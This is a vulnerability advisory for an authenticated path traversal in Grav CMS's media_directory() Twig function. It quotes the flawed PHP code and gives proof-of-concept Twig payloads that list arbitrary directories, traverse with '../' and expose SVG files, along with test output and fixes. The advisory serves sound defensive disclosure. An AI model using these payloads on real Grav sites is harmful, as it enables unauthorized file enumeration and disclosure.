
Technical advisory detailing an authenticated path traversal vulnerability in Grav CMS's Twig media_directory() function, enabling arbitrary directory enumeration and filesystem path disclosure.
media_directory()Name: CYBER-SEC
Contact: [email protected]
Grav's Twig function media_directory() is exposed inside the page-content Twig sandbox allowlist but does not properly enforce path containment for non-stream input.
An authenticated user with page-editing privileges can call media_directory('/absolute/path') or use relative traversal such as media_directory('../../../../path') inside Twig-enabled page content. Grav then indexes media-type files from directories readable by the web server user.
The returned Medium objects expose sandbox-allowed properties such as and , resulting in arbitrary directory enumeration and absolute filesystem path disclosure. For image/SVG files, URL or cache generation may expose files through Grav's public cache handling.
filepathfilenameThis is an authenticated information disclosure vulnerability. It is not known to allow unauthenticated exploitation or direct remote code execution.
Product: Grav flat-file CMS
Repository: https://github.com/getgrav/grav
Affected versions verified: 2.0.3, 2.0.4, 2.0.6
Component: Twig media_directory() / Grav page-content Twig sandbox
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Base Score: 6.5 Medium
The vulnerable sink is located in:
system/src/Grav/Common/Twig/Extension/GravExtension.php
Relevant logic:
public function mediaDirFunc($media_dir)
{
$locator = $this->grav['locator'];
if ($locator->isStream($media_dir)) {
$media_dir = $locator->findResource($media_dir);
}
if ($media_dir && file_exists($media_dir)) {
return new Media($media_dir);
}
return null;
}
Only stream:// inputs are resolved through Grav's locator. Non-stream absolute or relative paths are passed verbatim into new Media($media_dir) without canonical realpath() validation, traversal rejection, or containment to approved Grav-controlled directories.
The function is exposed through the page-content Twig sandbox allowlist:
system/config/security.yaml
allowed_functions:
- media_directory
The sandbox also allows Medium methods/properties such as:
filepath
filename
url
cache
resize
This allows an authenticated page editor to disclose filenames and absolute paths from arbitrary readable directories. For image/SVG files, public URL/cache generation may expose the file content.
With Twig content processing enabled, create or edit a Grav page and insert:
{% for name, m in media_directory('/var/www') %}
{{ name }} = {{ m.filepath }}
{% endfor %}
Traversal form:
{% for name, m in media_directory('../../../../app/www/public') %}
{{ name }} = {{ m.filepath }}
{% endfor %}
Image/SVG exposure example:
{{ media_directory('/absolute/path/to/private')['secret.svg'].url }}
When the page is saved and rendered, Grav indexes files from the attacker-controlled path and exposes filenames and absolute filesystem paths.
Verified against Grav 2.0.6 using the linuxserver/grav:latest Docker image.
Observed results included:
LICENSE.txt => /app/www/public/LICENSE.txt
composer.json => /app/www/public/composer.json
robots.txt => /app/www/public/robots.txt
now.json => /app/www/public/now.json
Relative traversal was also confirmed:
../../../../app/www/public
SVG file exposure through .url was also confirmed in a controlled local test environment.
An authenticated page editor can:
This vulnerability is disclosure-class and should not be reported as remote code execution.
Recommended fixes:
media_directory from the page-content Twig sandbox allowlist.or:
media_directory():realpath().user://pages, user://images, or other explicitly approved media directories.This issue was reported by CYBER-SEC.